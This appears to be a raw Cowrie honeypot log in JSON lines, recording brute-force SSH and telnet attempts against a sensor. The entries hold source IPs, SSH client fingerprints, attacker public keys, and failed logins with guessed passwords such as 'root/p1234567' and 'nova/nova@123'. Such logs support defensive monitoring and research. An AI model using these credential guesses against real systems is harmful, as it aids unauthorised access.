{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:59:02.417917Z","src_ip":"4.227.177.11","session":"8dad487e4bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60084,"dst_ip":"159.203.135.109","dst_port":22,"session":"da25486c338e","protocol":"ssh","message":"New connection: 103.173.227.57:60084 (159.203.135.109:22) [session: da25486c338e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:01.889650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:01.895581Z","src_ip":"103.173.227.57","session":"da25486c338e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.247.214.107","src_port":37568,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df012d1646e","protocol":"telnet","message":"New connection: 178.247.214.107:37568 (159.203.135.109:23) [session: 7df012d1646e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:01.994308Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:02.150751Z","src_ip":"103.173.227.57","session":"da25486c338e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p1234567","message":"login attempt [root/p1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:02.912804Z","src_ip":"103.173.227.57","session":"da25486c338e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:04.171183Z","src_ip":"103.173.227.57","session":"da25486c338e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49904,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7fe088b5ffe","protocol":"ssh","message":"New connection: 109.237.96.109:49904 (159.203.135.109:22) [session: e7fe088b5ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:12.271387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:12.276542Z","src_ip":"109.237.96.109","session":"e7fe088b5ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:12.369650Z","src_ip":"109.237.96.109","session":"e7fe088b5ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anakin","message":"login attempt [root/anakin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:12.662956Z","src_ip":"109.237.96.109","session":"e7fe088b5ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:13.756736Z","src_ip":"109.237.96.109","session":"e7fe088b5ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.8045814037323,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:16.798766Z","src_ip":"178.247.214.107","session":"7df012d1646e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":22259,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5439d5c2af9","protocol":"ssh","message":"New connection: 193.46.255.86:22259 (159.203.135.109:22) [session: a5439d5c2af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:26.937774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:26.943855Z","src_ip":"193.46.255.86","session":"a5439d5c2af9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:27.075280Z","src_ip":"193.46.255.86","session":"a5439d5c2af9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:27.673058Z","src_ip":"193.46.255.86","session":"a5439d5c2af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":50924,"dst_ip":"10.17.0.5","dst_port":22,"session":"db89dc4a8453","protocol":"ssh","message":"New connection: 4.227.177.11:50924 (10.17.0.5:22) [session: db89dc4a8453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:47.381294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:47.387033Z","src_ip":"4.227.177.11","session":"db89dc4a8453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:47.398950Z","src_ip":"4.227.177.11","session":"db89dc4a8453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova@123","message":"login attempt [nova/nova@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:47.478633Z","src_ip":"4.227.177.11","session":"db89dc4a8453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:48.493661Z","src_ip":"4.227.177.11","session":"db89dc4a8453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53196,"dst_ip":"10.17.0.5","dst_port":22,"session":"372f9f5b804b","protocol":"ssh","message":"New connection: 194.113.233.25:53196 (10.17.0.5:22) [session: 372f9f5b804b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:57.614828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:57.619432Z","src_ip":"194.113.233.25","session":"372f9f5b804b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:57.709279Z","src_ip":"194.113.233.25","session":"372f9f5b804b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flipper","message":"login attempt [root/flipper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:57.978901Z","src_ip":"194.113.233.25","session":"372f9f5b804b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:00:59.071246Z","src_ip":"194.113.233.25","session":"372f9f5b804b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.225.101.98","src_port":45593,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8257a8ceccd","protocol":"telnet","message":"New connection: 36.225.101.98:45593 (159.203.135.109:23) [session: e8257a8ceccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:11.411979Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":38404,"dst_ip":"159.203.135.109","dst_port":22,"session":"47f370ea1950","protocol":"ssh","message":"New connection: 45.148.10.147:38404 (159.203.135.109:22) [session: 47f370ea1950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:16.472776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:16.479770Z","src_ip":"45.148.10.147","session":"47f370ea1950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:16.567221Z","src_ip":"45.148.10.147","session":"47f370ea1950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:16.948495Z","src_ip":"45.148.10.147","session":"47f370ea1950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.634586811065674,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:24.046457Z","src_ip":"36.225.101.98","session":"e8257a8ceccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.92.29","src_port":36120,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3be1637d509","protocol":"ssh","message":"New connection: 69.175.92.29:36120 (10.17.0.5:22) [session: a3be1637d509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.794607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.799704Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.828593Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:b2:1b:eb:9b:61:38:4d:fa:0e:0b:86:38:b3:59:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCK7gsb7dBvfiYrwuOm/9rnl3kMd0Dj4PmHTY9nQ6XJwB0RePqrPD1Z4epI5ikqWWXL4VTpjA/Iagflj05tFVCfVLuD/d4TPAAf5L0nTMvXttacYfA9igQw3mC62YHqsr73IERUxYjf3QgOC/IYzC4GlHCUIgdy4N8Hie53LsVJtDh5SbVyE46hI83DmqhuWWYKwOaLHFP7u6zmyB/NGV0Cb7ihj8jvB6pxXx794PVlU5H8cb+Fjxie/SSxMLcQx3WqI/ZRahZxHdNucrjrotpNzFX/0C6F9nyyNIjAhGqe+UyRH8mqo0IC2nLc7QJTkXbyKLFshYkYRrp85qILFtx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:b2:1b:eb:9b:61:38:4d:fa:0e:0b:86:38:b3:59:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.960426Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:b2:1b:eb:9b:61:38:4d:fa:0e:0b:86:38:b3:59:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCK7gsb7dBvfiYrwuOm/9rnl3kMd0Dj4PmHTY9nQ6XJwB0RePqrPD1Z4epI5ikqWWXL4VTpjA/Iagflj05tFVCfVLuD/d4TPAAf5L0nTMvXttacYfA9igQw3mC62YHqsr73IERUxYjf3QgOC/IYzC4GlHCUIgdy4N8Hie53LsVJtDh5SbVyE46hI83DmqhuWWYKwOaLHFP7u6zmyB/NGV0Cb7ihj8jvB6pxXx794PVlU5H8cb+Fjxie/SSxMLcQx3WqI/ZRahZxHdNucrjrotpNzFX/0C6F9nyyNIjAhGqe+UyRH8mqo0IC2nLc7QJTkXbyKLFshYkYRrp85qILFtx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.964472Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:e4:29:ca:8a:4c:f9:f7:eb:28:fa:50:ea:85:22:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqWYVtN6S2tTvnQFfPFKNOiU7IxxfEmcNR3GGfNt4HwscRcgil42WG4/jmLg/XSDWmGfutNGLdZDkXPp7jX5Ef+4pHLuucshnDt2zcSoqctBLXujRAKrL2S5rd2epSAOF/Of9tCcHfVixkQfn8rZh/4MtH5AqhEyvVgQxXv1fORvgLyJHqzAyizpFHWBgZiMRa3ztrMsDqFwuCWCw4erchYSi1/QejWq0QlBZ24Op/ZzlK7HnMstKEQAvqrQ7yV2zLWvbcE/5Sk6p2RUXkArd8InkO47KQtD20tGZGLiKeTOgL+CIWRC51DzSEdZOZb3APc7xRLVkrK/YL+MvwzH3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:e4:29:ca:8a:4c:f9:f7:eb:28:fa:50:ea:85:22:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:02:25.995141Z","src_ip":"69.175.92.29","session":"a3be1637d509","protocol":"ssh"}
